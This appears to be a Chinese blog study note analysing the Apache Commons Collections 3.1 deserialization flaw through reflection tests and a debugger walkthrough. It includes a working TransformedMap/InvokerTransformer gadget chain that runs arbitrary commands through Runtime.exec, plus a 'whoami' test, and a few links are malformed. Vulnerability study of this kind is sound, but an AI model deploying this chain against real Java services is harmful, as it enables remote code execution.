Apache Commons Collections 反序列化详细分析学习总结

  • 2019 年 10 月 3 日
  • 筆記

0x01.环境准备:

Apache Commons Collections 3.1版本,下载链接参考:

https://www.secfree.com/a/231.html

jd jui地址(将jar包转化为java源码文件):

https://github.com/java-https://www.secfree.com/a/231.html/jd-gui/releases

配置项目中的jdk版本:

https://blog.csdn.net/qq_22076345/article/details/82392236

设置class字节码输出路径

https://blog.csdn.net/zZ_life/article/details/51318306

为项目添加jar包

https://www.iteye.com/blog/zyjustin9-2172445

java object array(对象数组):

object obj[]=new object[5];

创建了一个Object数组,长度为5,这5个元素的值都是null,然后把创建好的数组实例的引用赋给obj变量。如果需要为这些元素分配具体的对象,则需要分别指定或用{}符号进行初始化

https://juejin.im/post/5a6ade5c518825733e60acb8 arrays工具类对数组进行操作

 

 

0x02.环境测试:

import java.io.IOException;  import java.lang.reflect.InvocationTargetException;  import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.InvokerTransformer;  public class fanshe {      public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {          //函数名字,传参类型,参数值          Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});          Object newobject = transformer.transform(new StringBuffer("hi "));          System.out.println(newobject);            Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});          System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("whoami").getInputStream())).readLine());      }  }

从以上这段最简单的测试代码开始进行分析,

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

首先实例化了InvokerTransformer的对象,传入了要执行的方法名,参数类型,以及参数值,在传入值和类型时,要与java类中定义的变量的类型相一致

 这里定义的入口参数也可以看出所需要的类型,这里参数类型为class类型的数组,接下来第二行

Object newobject = transformer.transform(new StringBuffer("hi"));

此时调用了transformer类的transform方法,传入了一个StringBuffer的一个匿名对象,其中transform函数的定义如下,这个函数是Object类型的,入口参数也为object类型,

 此时如果input不为空,则会调用getclass方法得到当前对象的类对象,接下来通过调用getmethod方法,调用该类对象中的方法,其中传入的参数为两个,第一个为需要调用的

类中方法的方法名,第二个参数为调用的该方法的参数类型,此时getmethod的返回值为Method类型的对象,此时便可以通过调用method的invoke方法来实现我们想调用的方法的执行

比如此时使用反射机制完成对stringbuffer类的append方法的调用,从上图也可以看到入口参数类型为string,append方法实际上将传入append的字符串拼接到当前stringbuffer字符串的后面,然后返回当前字符串。

0x03.漏洞原理分析:

感觉这篇文章把这个漏洞的原因讲的非常详细,https://xz.aliyun.com/t/136

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。

其中有一个接口可以通过反射机制来进行任意函数的调用,即InvokeTransformer

 poc如下:

import java.util.HashMap;  import java.util.Map;  import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;  import org.apache.commons.collections.functors.ConstantTransformer;  import org.apache.commons.collections.functors.InvokerTransformer;  import org.apache.commons.collections.map.TransformedMap;    public class collections {      public static void main(String[] args) {          String command = (args.length !=0 ) ? args[0] : "calc";          String[] execArgs = command.split(",");          Transformer[] tarnsforms = new Transformer[]{                  new ConstantTransformer(Runtime.class),                  new InvokerTransformer(                          "getMethod",                          new Class[]{String.class,Class[].class},                          new Object[]{"getRuntime",new Class[0]}                  ),                  new InvokerTransformer(                          "invoke",                          new Class[] {Object.class,Object[].class},                          new Object[] {null,new Object[0]}                  ),                  new InvokerTransformer(                          "exec",                          new Class[]{String[].class},                          new Object[]{execArgs}                  )          };          Transformer transformerChain = new ChainedTransformer(tarnsforms);          Map temoMap = new HashMap<String,Object>();          Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain);          exMap.put("by", "SecFree");      }  }

poc的逻辑可以理解为:

构建BeforeTransformerMap的键值对,为其赋值,利用TransformedMap的decorate方法,可以对Map数据结构的key,value进行transforme。

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。

TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));

poc中对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行。

 Transformer transforms[] = {
//首先传入Runtime类
new ConstantTransformer(Runtime.class),
     //通过调用Runtime.getMethod("getRuntime")获的Runtime.getruntime()方法
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ),
    //通过invoke函数获得Process类型的Runtime的实例化对象,这样才能通过对象->方法的形式调用exec函数
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {0, new Object[0]} ),
     //调用Runtime.exec('calc')
new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {commands} ) };

以上的代码即为transformer链的构成,当完成对这条链的转化,即完成了代码执行,以上代码相当于执行:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(commands);

0x04.poc断点调试分析:

首先第一步定义一个要执行的命令,并且定义transformer链,实际上为一个对象数组

 其中第一个对象为ConstantTransformer的对象,入口参数Runtime.class,也就是通过.class方式,获取了Runtime这个类的类的对象

这里赋值给了ConstantTansformer类的iConstant成员变量,具体为啥第一个类对象要为这个类的对象,下文说。

 第二个类对象为InvokerTransformer类的对象,之前已经知道InvokerTransformer类的作用:

        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});          String newobject = transformer.transform(new StringBuffer("hi ")).toString();          System.out.println(newobject);

通过以上三行即可完成通过反射完成函数调用,其中首先要定义一个InvokerTransformer类对象,然后通过调用该对象调用transformer方法来完成我们所想要的函数的执行

 其类的构造方法中第一个参数即为我们想要调用的方法名为getMethod,第二个为参数类型,第三个为参数值,这里实际上就是通过getMethod调用getRuntime函数

 我们已经知道反射的过程为通过getMethod获取到想要调用的函数以后,下一步就是通过invoke函数来传入我们想要触发的类对象,从而使我们的目的函数和目标类连起来,

所以此时如上图所示,调用了invoke方法,此时传入的invoke的参数类型为类的类型对象,参数为类的对象

 

最后一步如上图所示,为调用exec函数,进行代码执行,此时参数类型为String数组,即可以执行多个命令,参数即为之前定义的command,至此为止,transformer对象数组构造完成,

创建这个数组的目的就是把后面要执行的函数放入里面,也就构成了一个函数链,接下来就是把transformers当做参数创建一个chainedTransformer对象,而chainedTransformer类有个方法就是就是将一个函数数组链式的执行,即chainedTransformer的transform方法

将会依次调用iTransformers数组中存储的对象的transform方法,也就是依次执行我们所需要的函数

 如上图所示就把transformer链放到iTransformers变量中,方便后面的调用。

 

 如上图所示,最后三行代码即为commons collections反序列化的触发,首先需要构造一个map对象,并利用java泛型来对hashmap的键值类型进行指定,接下来利用TransformedMap类的decorate方法来对map对象进行封装,其中封装的作用为指定要转化的map对象以及map对象中的键值要进行的转化方法(这里也可以是一个链,即我们要赋值的transformerChain),这里可以指定key,也可以指定value,接下来即通过put方法来对map对象的键值进行修改,其中put(key,value)即为将value加入hashMap中,此时将触发decorate中定义的transformer链,进行函数调用:

当f7单步执行到put函数,此时触发transformermap的put方法,因为decorate方法返回的是transformermap类的对象,此时首先转化key

 在对value进行转化时将判断此时valueTransformer是否为空,因为我们之前定义了map的value进行转化的transformer链

 

  

 可以看到此时valueTransformer即为之前decorate中封装的转化链,所以此时调用valueTransformer的transformer方法,入口参数为”secfree”,为一个字符串

 其中transformer链的第一个对象为ConstantTransformer类的对象,此时F7单步步入,可以看到,此时transform函数不管入口的input为什么,都返回一个iConstant,而iConstant使我们可控的,因此我们在这里可以返回任意类,此处返回为java.lang.Runtime类的对象

 

 第二次进入循环时,可以看到此时object已经变成类java.lang.Runtime的对象

 

 此时进入转化链的第二个invoketransformer类的transform方法,因为之前我们已经知道该类的transform方法能完成函数的调用,此时通过.getclass()方法能够直接获得java.lang.Runtime的类的类型

 

 此时实际上通过调用invoke函数完成了对java.lang.Runtime类的getmethod函数的调用(input函数为要反射的类对象),其参数则为getRuntime()(this.iArgs),

 

 即此时返回的即为java.lang.Runtime.getruntime类的对象

 

 

 第三次进入循环,此时cls为reflect.Method类的对象,此时可以通过getMethod函数调用invoke函数,第三行通过invoke函数调用getRuntime类的invoke函数方便后面exec函数的调用,此时的input为

 而此时的method为:

java.lang.reflect.Method类提供有关类或接口上单个方法的信息和访问权限。反映的方法可以是类方法或实例方法(包括抽象方法)。

java.lang.reflect.Method.invoke(Object obj, Object... args)方法使用指定的参数调用由此Method对象表示的底层方法

由上图可知此时我们已经知道Method类的变量实际上存储的为我们需要访问的方法,而Method.invoke()函数最终返回的是由invoke函数第一个参数所定义的对象以及第二个参数所定义的Method的参数所执行的返回值。

所以此时我们调用method.invoke即为调用getruntime.invoke,即进入第四轮循环时,此时object即为上一轮getruntime.invoke()函数的返回值也就是当前Java应用程序相关的运行时对象Runtime

  第四次循环进入时,此时就要进行调用exec函数进行执行calc,此时通过getclass得到Runtime对象所属的类为java.lang.Runtime,接着通过getmethod获取java.lang.runtime类的exec方法

 第三行也就是method.invoke反射调用执行java.lang.Runtime类的exec函数,参数即为calc,即此时弹出计算器。

0x05.参考:

https://www.secfree.com/a/231.html

http://blog.orleven./2017/11/11/java-deserialize/

https://forum.90sec.com/t/topic/89